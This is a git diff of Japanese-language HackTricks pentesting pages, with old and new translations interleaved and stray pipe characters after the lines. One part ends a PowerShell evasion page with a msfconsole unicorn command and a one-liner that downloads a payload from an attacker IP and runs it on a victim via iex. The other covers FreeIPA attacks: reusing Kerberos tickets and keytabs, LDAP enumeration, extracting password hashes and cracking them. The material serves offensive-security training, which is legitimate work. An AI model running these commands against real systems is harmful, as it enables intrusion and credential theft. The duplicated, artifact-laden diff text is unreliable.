msfconsole を作成したリソースで起動します:
|
||||
```plaintext
|
||||
作成したリソースを使用してmsfconsoleを起動します：
|
||||
```
|
||||
```
|
||||
msfconsole -r unicorn.rc
|
||||
```
|
||||
ウェブサーバーを起動して _powershell\_attack.txt_ ファイルを提供し、被害者のコンピュータで実行します：
|
||||
次のようにして、_powershell\_attack.txt_ ファイルを提供するウェブサーバーを起動し、被害者の端末で実行します：
|
||||
```
|
||||
powershell -exec bypass -c "iwr('http://10.2.0.5/powershell_attack.txt')|iex"
|
||||
```
|
||||
**悪意のあるコードとして検出されました**
|
||||
**悪意のあるコードとして検出**
|
||||
|
||||
## 詳細
|
||||
## もっと
|
||||
|
||||
[PS>Attack](https://github.com/jaredhaight/PSAttack) 攻撃的なPSモジュールがプリロードされたPSコンソール（暗号化されています）\
|
||||
[PS>Attack](https://github.com/jaredhaight/PSAttack) 一部の攻撃的なPSモジュールが事前にロードされたPSコンソール（暗号化済み）\
|
||||
[https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f9](https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f93c)[\
|
||||
WinPWN](https://github.com/SecureThisShit/WinPwn) 攻撃的なPSモジュールとプロキシ検出機能を備えたPSコンソール（IEX）
|
||||
WinPWN](https://github.com/SecureThisShit/WinPwn) 一部の攻撃的なPSモジュールとプロキシ検出が組み込まれたPSコンソール（IEX）
|
||||
|
||||
## 参考文献
|
||||
|
||||
|
|
@ -480,21 +485,21 @@ WinPWN](https://github.com/SecureThisShit/WinPwn) 攻撃的なPSモジュール
|
|||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
最も重要な脆弱性を見つけて、より早く修正しましょう。Intruderは攻撃面を追跡し、積極的な脅威スキャンを実行し、APIからウェブアプリ、クラウドシステムまで、技術スタック全体にわたる問題を見つけ出します。今日[**無料でお試し**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)ください。
|
||||
最も重要な脆弱性を見つけて修正を迅速化します。Intruderは攻撃面を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリケーション、クラウドシステムまで、技術スタック全体で問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) 今すぐ。
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローに学ぶ</strong></summary>
|
||||
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
HackTricksをサポートする他の方法：
|
||||
|
||||
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください！
|
||||
* [**公式のPEASS & HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションをチェックしてください。
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加する**か、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォロー**してください。
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有**してください。
|
||||
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください！
|
||||
* [**公式PEASS＆HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つける
|
||||
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**をフォロー**してください。
|
||||
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のGitHubリポジトリにPRを提出して、**ハッキングトリックを共有**してください。
|
||||
|
||||
</details>
|
||||
|
|
|
|||
|
|
@ -1,122 +1,59 @@
|
|||
# FreeIPA Pentesting
|
||||
# FreeIPA ペンテスト
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>！</strong></summary>
|
||||
<summary><strong>htARTE（HackTricks AWS Red Team Expert）</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じてゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong>！</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
HackTricks をサポートする他の方法:
|
||||
|
||||
* **HackTricksにあなたの会社を広告したい場合**や**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください！
|
||||
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを手に入れる
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォロー**する。
|
||||
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを共有する。
|
||||
* **HackTricks で企業を宣伝**したい場合や **HackTricks をPDFでダウンロード**したい場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください！
|
||||
* [**公式PEASS＆HackTricksスワッグ**](https://peass.creator-spring.com)を手に入れる
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
|
||||
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)** に参加するか、[telegramグループ](https://t.me/peass) に参加するか、**Twitter** 🐦 で私をフォローする [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **ハッキングトリックを共有するには、** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出してください。
|
||||
|
||||
</details>
|
||||
|
||||
この情報は以下の投稿から取得されました:
|
||||
|
||||
* [https://posts.specterops.io/attacking-freeipa-part-i-authentication-77e73d837d6a](https://posts.specterops.io/attacking-freeipa-part-i-authentication-77e73d837d6a)
|
||||
* [https://posts.specterops.io/attacking-freeipa-part-ii-enumeration-ad27224371e1](https://posts.specterops.io/attacking-freeipa-part-ii-enumeration-ad27224371e1)
|
||||
* [https://www.youtube.com/watch?v=9dOu-7BTwPQ\&feature=youtu.be](https://www.youtube.com/watch?v=9dOu-7BTwPQ\&feature=youtu.be)
|
||||
|
||||
## 基本情報
|
||||
|
||||
Microsoft Windows **Active Directory**のオープンソース**代替品**であり、主に**Unix**環境の統合管理ソリューションとして使用されます。Active Directoryと同様に、FreeIPAはMIT **Kerberos** Key Distribution Centerによって支えられた完全な**LDAPディレクトリ**インフラを実装しています。CA & RA証明書管理のためにDogtag **Certificate System**を使用し、スマートカードを含む**多要素**認証を処理する能力を持っています。SSSDは、FreeIPAを標準のUnix認証プロセスに統合するために使用されます。
|
||||
FreeIPA は、Microsoft Windows **Active** **Directory** のオープンソースの **代替** として提示され、統合管理のために主に **Unix** 環境で利用されています。これには、Active Directory に類似した MIT **Kerberos** Key Distribution Center によってバックアップされた完全な **LDAPディレクトリ** が備わっています。Dogtag **Certificate System** は、CA＆RA証明書の管理に使用され、スマートカードを含む **マルチファクタ**認証機能を可能にします。Unix認証プロセスへの統合には、SSSD が使用されています。
|
||||
|
||||
## 指紋
|
||||
## フィンガープリント
|
||||
|
||||
### ファイル & 環境変数
|
||||
### ファイルと環境変数
|
||||
|
||||
* **`/etc/krb5.conf`:** `krb5.conf`ファイルには、ドメインに**登録される**ために必要なKerberosクライアント情報が含まれています。これには、関心のあるKerberosレルムのKDCおよび管理サーバーの**場所**、現在のレルムおよびKerberosアプリケーションのデフォルト、およびホスト名をKerberosレルムにマッピングするものが含まれます。
|
||||
* **`/etc/ipa/default.conf`:** これはIPAサーバーの**デフォルト設定ファイル**であり、IPAクライアントとサーバーの実行時に適用されるシステム全体のデフォルトを設定するために使用されます。
|
||||
* **`/etc/krb5.keytab`:** `krb5.keytab`ファイルは、**ドメイン**内のすべてのホストで**必要**です。これは、KDCへの**認証**プロセスの一部として必要です。
|
||||
* **`KRB5CCNAME`:** 設定されている場合、この変数は認証に使用される**CCACHEチケット**の**場所**を指します。
|
||||
* **`KRB5_KTNAME`:** 設定されている場合、この変数は認証に使用される**Keytab**ファイルの**場所**を指します。
|
||||
* **`KRB5_CONFIG`:** 設定されている場合、この変数は**Kerberos設定**ファイルの**場所**を指します。
|
||||
* **`KRB5_KDC_PROFILE`:** 設定されている場合、この変数はKDC設定ファイルの**場所**を指します。これには、Key Distribution Centerデーモンの追加設定ディレクティブが含まれています。
|
||||
* **`KRB5RCACHETYPE`:** この変数は、サーバーで使用する**リプレイキャッシュのデフォルトタイプ**を指定します。
|
||||
* **`KRB5RCACHEDIR`:** この変数は、サーバーが使用する**リプレイキャッシュのデフォルトディレクトリ**を指定します。
|
||||
* **`KRB5_TRACE`:** この変数は、トレースログ出力を書き込む**ファイル名**を指定します。トレースログは、Kerberosライブラリによって内部で行われた決定を明らかにするのに役立ちます。
|
||||
* **`KRB5_CLIENT_KTNAME`:** この変数は、**デフォルトのクライアントkeytab**ファイル名を設定します。
|
||||
* **`KPROP_PORT`:** この変数は、kpropが使用する**デフォルトのポート**を設定します。
|
||||
- `/etc/krb5.conf` にあるファイルには、ドメインへの登録に必要な Kerberos クライアント情報が格納されています。これには、KDCや管理サーバーの場所、デフォルト設定、マッピングが含まれます。
|
||||
- IPAクライアントとサーバーのシステム全体のデフォルト設定は、`/etc/ipa/default.conf` に配置されています。
|
||||
- ドメイン内のホストは、認証プロセスに `/etc/krb5.keytab` にある `krb5.keytab` ファイルを持っている必要があります。
|
||||
- 様々な環境変数（`KRB5CCNAME`、`KRB5_KTNAME`、`KRB5_CONFIG`、`KRB5_KDC_PROFILE`、`KRB5RCACHETYPE`、`KRB5RCACHEDIR`、`KRB5_TRACE`、`KRB5_CLIENT_KTNAME`、`KPROP_PORT`）が、Kerberos認証に関連する特定のファイルや設定を指すために使用されます。
|
||||
|
||||
### バイナリ
|
||||
|
||||
* **ipa:** このバイナリは、**FreeIPAドメインを管理する**ための標準です。ホスト、ユーザー、sudoルールなどを管理するために使用できます。
|
||||
* **kdestroy:** kdestroyバイナリは、ユーザーセッション内の現在の**Kerberosチケット**を**破棄**するために使用されます。
|
||||
* **kinit:** kinitバイナリは、**Kerberosチケット**を**確立**または**更新**するために使用されます。
|
||||
* **klist:** klistバイナリは、現在使用中の**Kerberosチケット**を**リスト**し、チケットがアクセスを提供するプリンシパルを表示します。
|
||||
* **kpasswd:** kpasswdコマンドは、**Kerberosプリンシパルのパスワードを変更**するために使用されます。kpasswdは最初に現在のKerberosパスワードを求め、次に新しいパスワードを2回ユーザーに求め、パスワードが変更されます。
|
||||
* **ksu:** Ksuは、現在の**ユーザーコンテキスト**を切り替えるために、suバイナリの**代替**として使用できます。
|
||||
* **kswitch:** kswitchコマンドは、使用中の**クレデンシャルキャッシュ**を**切り替え**ます。
|
||||
* **kvno:** kvnoバイナリは、指定された**Kerberos**プリンシパルの**サービスチケット**を取得し、各チケットのキーバージョン番号を出力します。
|
||||
`ipa`、`kdestroy`、`kinit`、`klist`、`kpasswd`、`ksu`、`kswitch`、`kvno` などのツールは、FreeIPA ドメインの管理、Kerberos チケットの処理、パスワードの変更、サービスチケットの取得などに中心的な役割を果たします。
|
||||
|
||||
### ネットワーク
|
||||
|
||||
FreeIPAサーバーがどのように見えるかは以下の通りです:
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (197).png" alt=""><figcaption></figcaption></figure>
|
||||
典型的な FreeIPA サーバーのセットアップを示す図が提供されています。
|
||||
|
||||
## 認証
|
||||
|
||||
FreeIPAは**認証**に**Kerberos**を使用しているため、このプロセスは**Active Directory**での**認証**と非常に似ています。ドメイン上のリソースに**アクセス**するためには、そのリソースの**有効なKerberosチケット**をユーザーが持っている必要があります。これらのチケットは、FreeIPAドメインの設定に基づいて、さまざまな場所に保存されることがあります。
|
||||
FreeIPA における **Kerberos** を利用した認証は、**Active Directory** と同様です。ドメインリソースへのアクセスには有効な Kerberos チケットが必要であり、FreeIPA ドメインの構成に応じて異なる場所に保存されます。
|
||||
|
||||
### **CCACHEチケットファイル**
|
||||
### **CCACHE チケットファイル**
|
||||
|
||||
チケットがディスク上の**ファイル**として**保存**されるように設定されている場合、標準の形式とタイプは**CCACHE**ファイルです。これは、Kerberosクレデンシャルを保存するためのシンプルなバイナリファイル形式です。これらのファイルは通常**`/tmp`**に保存され、**600**の権限でスコープされています。攻撃者の観点からは、以下の理由で重要です：
|
||||
通常は **`/tmp`** に **600** の権限で保存される CCACHE ファイルは、Kerberos資格情報を保存するためのバイナリ形式であり、ユーザーの平文パスワードなしでの認証に重要です。CCACHE チケットの解析は `klist` コマンドを使用して行い、有効な CCACHE チケットを再利用するには、`KRB5CCNAME` をチケットファイルのパスにエクスポートする必要があります。
|
||||
|
||||
1. 有効なチケットは、対応するユーザーのプレーンテキスト**パスワード**がなくても**認証に利用**できます。
|
||||
2. **CCACHE**チケットは非常に**移植性が高い**です。チケットをダウンロードして他のホストにロードすることができ、チケットを更新または検証する必要はありません。
|
||||
### **Unixキーリング**
|
||||
|
||||
CCACHEチケットの**解析**は、さまざまな方法で簡単に行うことができます。最も簡単な方法は、klistバイナリで解析することです。
|
||||
```
|
||||
klist /tmp/krb5cc_0
|
||||
```
|
||||
<figure><img src="../.gitbook/assets/image (70).png" alt=""><figcaption></figcaption></figure>
|
||||
代わりに、CCACHE チケットを Linux キーリングに保存することもでき、チケットの管理についてより多くの制御が可能です。チケットの保存範囲は異なります（`KEYRING:name`、`KEYRING:process:name`、`KEYRING:thread:name`、`KEYRING:session:name`、`KEYRING:persistent:uidnumber`）、`klist` はこの情報をユーザーに対して解析することができます。ただし、Unixキーリングから CCACHE チケットを再利用することは課題があり、**Tickey** のようなツールが利用可能です。
|
||||
|
||||
攻撃者にとって、CCACHEチケットを再利用することは非常に簡単です。有効なCCACHEチケットを**再利用**するには、**KRB5CCNAME**を有効なチケットファイルの**パス**に**エクスポート**します。システムは環境変数を認識し、ドメインとのやり取りにその認証情報を使用しようと試みます。
|
||||
```bash
|
||||
export KRB5CCNAME=/tmp/krb5cc_0
|
||||
klist
|
||||
```
|
||||
### **Unix Keyring**
|
||||
### Keytab
|
||||
|
||||
CCACHEチケットはLinuxの**keyring**に**保存**されることもあります。keyringは**カーネル**内に存在し、管理者が保存されたチケットの取得と使用を**より制御**できるようにします。チケットは以下の異なる方法でスコープされます：
|
||||
Kerberosプリンシパルと暗号化されたキーを含む Keytab ファイルは、プリンシパルのパスワードを必要とせずに有効なチケット発行チケット（TGT）を取得するために重要です。Keytab ファイルからの資格情報の解析と再利用は、`klist` のようなユーティリティや **KeytabParser** などのスクリプトを使用して簡単に実行できます。
|
||||
|
||||
* **`KEYRING:name`:** チケットは特定の名前付きKeyringにスコープされます。
|
||||
* **`KEYRING:process:name`:** チケットは特定のプロセスIDにスコープされます。
|
||||
* **`KEYRING:thread:name`:** チケットは特定のスレッドにスコープされます。
|
||||
* **`KEYRING:session:name`:** チケットは特定のユーザーセッションにスコープされます。
|
||||
* **`KEYRING:persistent:uidnumber`:** チケットはセッションに関係なく特定のユーザーにスコープされます（デフォルト）。
|
||||
|
||||
管理者がUnix keyring内に保存したチケットをどのようにスコープしたかによって、それを解析するのは難しいかもしれません。しかし、Unix keyring内のCCACHEチケットの**デフォルトのスコープ**は**`KEYRING:persistent:uidnumber`**です。幸いにも、**ユーザー**の**コンテキスト**内にいれば、`klist`がこの情報を**解析**してくれます。
|
||||
|
||||
攻撃者にとって、Unix **keyring**に保存されたCCACHEチケットを**再利用**することは、チケットのスコープによってはかなり**難しい**です。幸いなことに、[@Tarlogic](https://twitter.com/Tarlogic)の[@Zer1t0](https://github.com/Zer1t0)がUnix keyringからKerberosチケットを抽出するツールを開発しました。このツールは**Tickey**と呼ばれ、[**こちら**](https://github.com/TarlogicSecurity/tickey)で見つけることができます。
|
||||
|
||||
### Keytab <a href="#ff38" id="ff38"></a>
|
||||
|
||||
{% hint style="warning" %}
|
||||
通常、各ホストはそのホスト用のkeytabクレデンシャルがデプロイされ、ホスト自体の有効なCredential Cache(CCACHE) Ticket Granting Ticket(TGT)を取得するために使用されます。
|
||||
{% endhint %}
|
||||
|
||||
これは**Kerberosプリンシパルと暗号化されたキー**のペアで構成されており、プリンシパルに関連付けられたKerberosパスワードから派生したキーです。これらのキーはプリンシパルのパスワードから派生しているため、その**パスワードが変更されるとkeytabは無効になります**。
|
||||
|
||||
Keytabファイルは、それがスコープされているプリンシパルの有効なチケット付与チケット（TGT）を**取得するために使用**できます。この認証プロセスはパスワードを**要求しません**。なぜなら、それはパスワードから派生したキーを含んでいるからです。
|
||||
|
||||
Keytabファイルを解析するのは非常に簡単で、いくつかの方法で実行できます。**keytab**ファイルを**解析**する最も簡単な方法は**klist**を使用することです。2番目の方法は、[Cody Thomas](https://medium.com/u/645ffcef8682?source=post\_page-----77e73d837d6a--------------------------------)が作成した素晴らしいpythonユーティリティを利用します。彼の[**KeytabParser**](https://github.com/its-a-feature/KeytabParser)プロジェクトは、プリンシパルとそれに関連する暗号化されたキーを解析します。
|
||||
|
||||
攻撃者は、kinitバイナリを通じてCCACHEチケットを生成することで、keytabファイルに保存されたクレデンシャルを**再利用**することができます。
|
||||
```powershell
|
||||
# Parse keytab
|
||||
klist -k /rtc/krb5.keytab
|
||||
|
||||
# Get TGT
|
||||
kinit -kt /etc/krb5.keytab host/bastion.westeros.local@WESTEROS.LOCAL
|
||||
```
|
||||
### チートシート
|
||||
|
||||
以下のリンクで、Linuxでチケットを使用する方法についての詳細情報を見つけることができます：
|
||||
Linuxでチケットを使用する方法に関する詳細情報は、以下のリンクで見つけることができます:
|
||||
|
||||
{% content-ref url="privilege-escalation/linux-active-directory.md" %}
|
||||
[linux-active-directory.md](privilege-escalation/linux-active-directory.md)
|
||||
|
|
@ -125,18 +62,18 @@ kinit -kt /etc/krb5.keytab host/bastion.westeros.local@WESTEROS.LOCAL
|
|||
## 列挙
|
||||
|
||||
{% hint style="warning" %}
|
||||
**ldap** や他の **バイナリ** ツールを使用するか、**FreeIPAサーバーの443ポートのウェブページに接続する**ことで、**列挙**を実行できます。
|
||||
**ldap** や他の **バイナリ** ツールを使用した **列挙**、または FreeIPA サーバーのポート443のウェブページに **接続** することで **列挙** を実行できます。
|
||||
{% endhint %}
|
||||
|
||||
### ホスト、ユーザー、およびグループ <a href="#4b3b" id="4b3b"></a>
|
||||
|
||||
**ホスト**、**ユーザー**、および**グループ**を作成することができます。ホストとユーザーはそれぞれ「**ホストグループ**」および「**ユーザーグループ**」と呼ばれるコンテナに分類されます。これらは**組織単位**（OU）に似ています。
|
||||
**ホスト**、**ユーザー**、および **グループ** を作成することが可能です。ホストとユーザーはそれぞれ "**ホストグループ**" と "**ユーザーグループ**" と呼ばれるコンテナに分類されます。これらは **組織単位**（OU）に類似しています。
|
||||
|
||||
FreeIPAのデフォルトでは、LDAPサーバーは**匿名バインド**を許可し、大量のデータが**認証なしで**列挙可能です。これにより、認証なしで利用可能なすべてのデータを列挙できます：
|
||||
FreeIPAでは、LDAPサーバーは **匿名バインド** を許可しており、多くのデータが **未認証** で列挙可能です。これにより、未認証で利用可能なすべてのデータを列挙できます。
|
||||
```
|
||||
ldapsearch -x
|
||||
```
|
||||
**詳細情報**を取得するには、**認証済み**セッションを使用する必要があります（認証済みセッションの準備方法については、Authenticationセクションを確認してください）。
|
||||
**さらに情報を得る**には、**認証済み**セッションを使用する必要があります（認証済みセッションの準備方法については、認証セクションを確認してください）。
|
||||
```bash
|
||||
# Get all users of domain
|
||||
ldapsearch -Y gssapi -b "cn=users,cn=compat,dc=domain_name,dc=local"
|
||||
|
|
@ -150,7 +87,7 @@ ldapsearch -Y gssapi -b "cn=computers,cn=accounts,dc=domain_name,dc=local"
|
|||
# Get hosts groups
|
||||
ldapsearch -Y gssapi -b "cn=hostgroups,cn=accounts,dc=domain_name,dc=local"
|
||||
```
|
||||
ドメインに参加しているマシンからは、**インストールされたバイナリ**を使用してドメインを列挙することができます：
|
||||
ドメインに参加したマシンから、**インストールされたバイナリ**を使用してドメインを列挙できます：
|
||||
```bash
|
||||
ipa user-find
|
||||
ipa usergroup-find
|
||||
|
|
@ -165,33 +102,33 @@ ipa host-find <host> --all
|
|||
ipa hostgroup-show <host group> --all
|
||||
```
|
||||
{% hint style="info" %}
|
||||
**FreeIPA**の**admin**ユーザーは、**AD**の**domain admins**に相当します。
|
||||
**FreeIPA**の**管理者**ユーザーは**AD**の**ドメイン管理者**に相当します。
|
||||
{% endhint %}
|
||||
|
||||
### ハッシュ <a href="#482b" id="482b"></a>
|
||||
|
||||
**IPAサーバー**の**root**ユーザーはパスワードの**ハッシュ**にアクセスできます。
|
||||
**IPAサーバー**の**root**ユーザーはパスワード**ハッシュ**にアクセスできます。
|
||||
|
||||
* ユーザーのパスワードハッシュは、"**userPassword**" **属性**に**base64**で保存されます。このハッシュは**SSHA512**（古いバージョンのFreeIPA）または**PBKDF2_SHA256**の可能性があります。
|
||||
* システムが**AD**と**統合**している場合、パスワードの**Nthash**は"**ipaNTHash**"に**base64**で保存されます。
|
||||
- ユーザーのパスワードハッシュは、「**userPassword**」**属性**に**base64**で保存されます。このハッシュは**SSHA512**（古いFreeIPAのバージョン）または**PBKDF2\_SHA256**である可能性があります。
|
||||
- パスワードの**Nthash**は、「ipaNTHash」に**base64**で保存されます（システムが**AD**と**統合**されている場合）。
|
||||
|
||||
これらのハッシュをクラックするには：
|
||||
|
||||
• FreeIPAがADと統合されている場合、**ipaNTHash**は簡単にクラックできます：**base64**を**デコード** -> ASCIIヘックスとして再エンコード -> John The Ripperまたは**hashcat**が迅速にクラックするのに役立ちます
|
||||
- FreeIPAがADと統合されている場合、**ipaNTHash**は簡単にクラックできます：**base64**を**デコード** -> ASCIIヘックスに再エンコード -> John The Ripperまたは**hashcat**を使用して高速にクラックできます。
|
||||
|
||||
• 古いバージョンのFreeIPAが使用されている場合、**SSHA512**が使用されます：**base64**をデコード -> SSHA512**ハッシュ**を見つける -> John The Ripperまたは**hashcat**がクラックするのに役立ちます
|
||||
- 古いバージョンのFreeIPAが使用されている場合、**SSHA512**が使用されます：**base64**をデコード -> SSHA512 **ハッシュ**を見つける -> John The Ripperまたは**hashcat**を使用してクラックできます。
|
||||
|
||||
• 新しいバージョンのFreeIPAが使用されている場合、**PBKDF2_SHA256**が使用されます：**base64**をデコード -> PBKDF2_SHA256を見つける -> その**長さ**は256バイトです。Johnは256ビット（32バイト）で動作可能 -> SHA-256が擬似ランダム関数として使用され、ブロックサイズは32バイト -> PBKDF2_SHA256ハッシュの最初の256ビットのみを使用可能 -> John The Ripperまたはhashcatがクラックするのに役立ちます
|
||||
- 新しいバージョンのFreeIPAが使用されている場合、**PBKDF2\_SHA256**が使用されます：**base64**をデコード -> PBKDF2\_SHA256を見つける -> **長さ**は256バイトです。Johnは256ビット（32バイト）で動作します -> SHA-265が疑似ランダム関数として使用され、ブロックサイズは32バイトです -> PBKDF2\_SHA256ハッシュの最初の256ビットのみを使用できます -> John The Ripperまたはhashcatを使用してクラックできます。
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (33).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
ハッシュを抽出するには、**FreeIPAサーバー**で**root**である必要があります。そこで**`dbscan`**ツールを使用して抽出できます：
|
||||
ハッシュを抽出するには、**FreeIPAサーバー**で**root**である必要があり、そこで**`dbscan`**ツールを使用してそれらを抽出できます：
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (196).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### HBACルール <a href="#482b" id="482b"></a>
|
||||
|
||||
これらは、ユーザーやホストにリソース（ホスト、サービス、サービスグループ...）に対する特定の権限を付与するルールです。
|
||||
これは、特定の権限をユーザーやホストに付与するルールです（ホスト、サービス、サービスグループなどのリソースに対して）。
|
||||
```bash
|
||||
# Enumerate using ldap
|
||||
ldapsearch -Y gssapi -b "cn=hbac,dc=domain_name,dc=local"
|
||||
|
|
@ -200,9 +137,9 @@ ipa hbacrule-find
|
|||
# Show info of rule
|
||||
ipa hbacrule-show <hbacrule> --all
|
||||
```
|
||||
#### Sudoルール
|
||||
#### Sudo-Rules
|
||||
|
||||
FreeIPAは、sudoルールを通じて**sudo権限を管理する**機能を提供します。これらのルールセットは、ドメインに登録されているホストで**sudoとしてコマンドを実行する**能力を制限または委任するために使用できます。攻撃者として、これらのルールセットが適用されているホストとユーザー、およびルールセットを通じて許可されているコマンドを列挙することができます。
|
||||
FreeIPAは、sudoルールを介して**sudo権限**に対する集中制御を可能にします。これらのルールにより、ドメイン内のホストでsudoを使用してコマンドを実行することを許可または制限することができます。攻撃者は、これらのルールセットを調査することで、適用可能なホスト、ユーザー、および許可されたコマンドを特定する可能性があります。
|
||||
```bash
|
||||
# Enumerate using ldap
|
||||
ldapsearch -Y gssapi -b "cn=sudorules,cn=sudo,dc=domain_name,dc=local"
|
||||
|
|
@ -211,23 +148,17 @@ ipa sudorule-find
|
|||
# Show info of rule
|
||||
ipa sudorule-show <sudorule> --all
|
||||
```
|
||||
### ロールベースのアクセス制御
|
||||
### ロールベースアクセス制御
|
||||
|
||||
各**ロール**は一連の**権限**を含み、それらの権限は**パーミッション**のセットを含んでいます。ロールは**ユーザー**、ユーザー**グループ**、**ホスト**、ホストグループ、およびサービスに**適用**されます。この概念を説明するために、FreeIPAのデフォルトの「ユーザー管理者」ロールについて話しましょう。
|
||||
**ロール**はさまざまな**特権**で構成され、それぞれが一連の**権限**を含んでいます。これらのロールは、ユーザー、ユーザー**グループ**、**ホスト**、ホストグループ、およびサービスに割り当てることができます。たとえば、この構造を示すために、FreeIPAのデフォルトの「ユーザー管理者」ロールを考えてみましょう。
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (161).png" alt=""><figcaption></figcaption></figure>
|
||||
`ユーザー管理者`ロールには以下の特権があります:
|
||||
|
||||
上のスクリーンショットが示すように、「ユーザー管理者」ロールには以下の権限が含まれています：
|
||||
- **ユーザー管理者**
|
||||
- **グループ管理者**
|
||||
- **ステージユーザー管理者**
|
||||
|
||||
* **ユーザー管理者**
|
||||
* **グループ管理者**
|
||||
* **ステージユーザー管理者**
|
||||
|
||||
さらに詳しく掘り下げて、各**権限**に委任された**パーミッション**を列挙することができます：
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (189).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
見ての通り、「**ユーザー管理者**」ロールは環境内にかなり**多くのパーミッション**を含んでいます。**ロール**、**権限**、および**パーミッション**の一般的な概念と構造を理解することは、環境全体で攻撃パスを特定する上で重要になることがあります。
|
||||
以下のコマンドを使用して、ロール、特権、および権限を列挙することができます:
|
||||
```bash
|
||||
# Using ldap
|
||||
ldapsearch -Y gssapi -b "cn=roles,cn=accounts,dc=westeros,dc=local"
|
||||
|
|
@ -241,53 +172,41 @@ ipa permission-show <permission> --all
|
|||
```
|
||||
### 攻撃シナリオの例
|
||||
|
||||
[https://posts.specterops.io/attacking-freeipa-part-iii-finding-a-path-677405b5b95e](https://posts.specterops.io/attacking-freeipa-part-iii-finding-a-path-677405b5b95e) では、ドメインを侵害するためにいくつかの権限を悪用する簡単な例が見つかります。
|
||||
[https://posts.specterops.io/attacking-freeipa-part-iii-finding-a-path-677405b5b95e](https://posts.specterops.io/attacking-freeipa-part-iii-finding-a-path-677405b5b95e) に、いくつかの権限を悪用してドメインを侵害する簡単な例があります。
|
||||
|
||||
### Linikatz/LinikatzV2
|
||||
|
||||
* [https://github.com/Orange-Cyberdefense/LinikatzV2](https://github.com/Orange-Cyberdefense/LinikatzV2)
|
||||
* [https://github.com/CiscoCXSecurity/linikatz](https://github.com/CiscoCXSecurity/linikatz)
|
||||
|
||||
## 権限昇格
|
||||
## 特権昇格
|
||||
|
||||
### ~~rootユーザーの作成~~
|
||||
|
||||
{% hint style="warning" %}
|
||||
**`root`という名前の新しいユーザーを作成できる**場合、そのユーザーになりすまし、**任意のマシンにrootとしてSSHでログインできる**ようになります。
|
||||
新しいユーザーを`root`という名前で作成できる場合、そのユーザーに成りすまして、**任意のマシンにrootとしてSSHできます。**
|
||||
|
||||
**これは修正されました。**
|
||||
**これはパッチ済みです。**
|
||||
{% endhint %}
|
||||
|
||||
"**User Administrators**" 権限は、その名が示す通り非常に強力です：
|
||||
